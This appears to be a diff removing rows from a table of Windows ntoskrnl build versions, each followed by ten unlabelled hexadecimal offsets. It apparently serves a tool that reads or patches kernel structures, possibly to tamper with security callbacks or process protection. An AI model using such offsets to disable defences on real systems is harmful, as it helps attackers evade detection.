-ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 -ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 -ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8 -ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8 -ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8 -ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 -ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 -ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 -ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4704.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-4770.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-4825.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-4827.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8 -ntoskrnl_14393-4886.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4889.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-4946.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-5006.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-5066.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-5125.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-5192.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 -ntoskrnl_14393-5246.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7258,3a7278,c8 -ntoskrnl_14393-5291.exe,33aea0,33aca0,33aaa0,6ca,0,20,50,3a7258,3a7278,c8 -ntoskrnl_14393-5356.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7258,3a7278,c8 -ntoskrnl_14393-5427.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7258,3a7278,c8 -ntoskrnl_14393-5429.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7258,3a7278,c8 -ntoskrnl_14393-5501.exe,33dde0,33dbe0,33d9e0,6ca,0,20,50,3aa250,3aa278,c8 -ntoskrnl_14393-5582.exe,33dee0,33dce0,33dae0,6ca,0,20,50,3aa250,3aa278,c8 -ntoskrnl_14393-5648.exe,33cee0,33cce0,33cae0,6ca,0,20,50,3a9250,3a9278,c8 -ntoskrnl_14393-5717.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8 -ntoskrnl_14393-5786.exe,33cde0,33cbe0,33c9e0,6ca,0,20,50,3a9250,3a9278,c8 -ntoskrnl_14393-5850.exe,33cee0,33cce0,33cae0,6ca,0,20,50,3a9250,3a9278,c8 -ntoskrnl_14393-5921.exe,33ce20,33cc20,33ca20,6ca,0,20,50,3a9250,3a9278,c8 -ntoskrnl_14393-5996.exe,33cf20,33cd20,33cb20,6ca,0,20,50,3a9250,3a9278,c8 -ntoskrnl_14393-6085.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8 -ntoskrnl_14393-6167.exe,33ce60,33cc60,33ca60,6ca,0,20,50,3a9250,3a9278,c8 -ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8 -ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8 -ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8 -ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50,3e1f98,3e1fb0,c8 -ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50,3e1f98,3e1fb0,c8 -ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50,3e1f98,3e1fb0,c8 -ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50,3e7f98,3e7fb0,c8 -ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50,3e7f98,3e7fb0,c8 -ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50,3e7f98,3e7fb0,c8 -ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50,3e7f98,3e7fb0,c8 -ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50,3e7f98,3e7fb0,c8 -ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50,3e5f98,3e5fb8,c8 -ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50,3e5f98,3e5fb8,c8 -ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50,3e2f98,3e2fb8,c8 -ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1506.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1659.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1716.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1779.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1836.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1897.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1955.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-2411.exe,385410,385210,385010,6ca,344e68,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_15063-2500.exe,3853d0,3851d0,384fd0,6ca,344e48,20,50,3e3f98,3e3fb8,c8 -ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50,3f90d0,3f90f0,c8 -ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50,3f90d0,3f90f0,c8 -ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50,3f90d0,3f90f0,c8 -ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50,3f90d0,3f90f0,c8 -ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50,3f90d0,3f90f0,c8 -ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50,3fd0d0,3fd0f0,c8 -ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50,3fe0d0,3fe0f0,c8 -ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8 -ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8 -ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50,3fe0d0,3fe0f0,c8 -ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8 -ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50,3fd0d0,3fd0f0,c8 -ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50,3fd0d0,3fd0f0,c8 -ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50,3fd0d0,3fd0f0,c8 -ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50,3fd0d0,3fd0f0,c8 -ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50,3fb0d0,3fb0f8,c8 -ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8 -ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8 -ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8 -ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8 -ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-936.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1059.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-1237.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-1296.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-1387.exe,3a0e80,3a1080,3a0c80,6ca,35e960,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-1480.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-1653.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-1715.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1776.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1937.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8 -ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50,4010d0,4010f8,c8 -ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50,4010d0,4010f8,c8 -ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50,45e250,45e270,c8 -ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50,45e250,45e270,c8 -ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50,45e250,45e270,c8 -ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50,45e250,45e270,c8 -ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8 -ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8 -ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8 -ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8 -ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50,45c250,45c278,c8 -ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50,44e250,44e278,c8 -ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50,44e250,44e278,c8 -ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50,44e250,44e278,c8 -ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50,44e250,44e278,c8 -ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50,44e250,44e278,c8 -ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50,44e250,44e278,c8 -ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 -ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50,44e250,44e278,c8 -ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 -ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 -ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 -ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 -ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 -ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 -ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 -ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8 -ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8 -ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8 -ntoskrnl_17134-765.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50,44d250,44d278,c8 -ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50,44d250,44d278,c8 -ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8 -ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8 -ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8 -ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8 -ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50,44d250,44d278,c8 -ntoskrnl_17134-950.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50,44d250,44d278,c8 -ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50,44d250,44d278,c8 -ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50,44d250,44d278,c8 -ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44d250,44d278,c8 -ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50,44d250,44d278,c8 -ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50,44d250,44d278,c8 -ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8 -ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8 -ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8 -ntoskrnl_17134-1276.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8 -ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50,44d250,44d278,c8 -ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44d250,44d278,c8 -ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8 -ntoskrnl_17134-1399.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8 -ntoskrnl_17134-1401.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8 -ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8 -ntoskrnl_17134-1456.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8 -ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8 -ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8 -ntoskrnl_17134-1553.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8 -ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8 -ntoskrnl_17134-1667.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50,44c250,44c278,c8 -ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50,44c250,44c278,c8 -ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 -ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 -ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 -ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 -ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 -ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 -ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50,44c250,44c278,c8 -ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50,44c250,44c278,c8 -ntoskrnl_17763-1.exe,45c4b0,45c0b0,45c2b0,6ca,40f038,20,50,4c52d0,4c52f8,c8 -ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50,4c52d0,4c52f8,c8 -ntoskrnl_17763-107.exe,45c430,45c030,45c230,6ca,40f018,20,50,4c52d0,4c52f8,c8 -ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50,4c52d0,4c52f8,c8 -ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50,5442d0,5442f8,c8 -ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8 -ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8 -ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8 -ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8 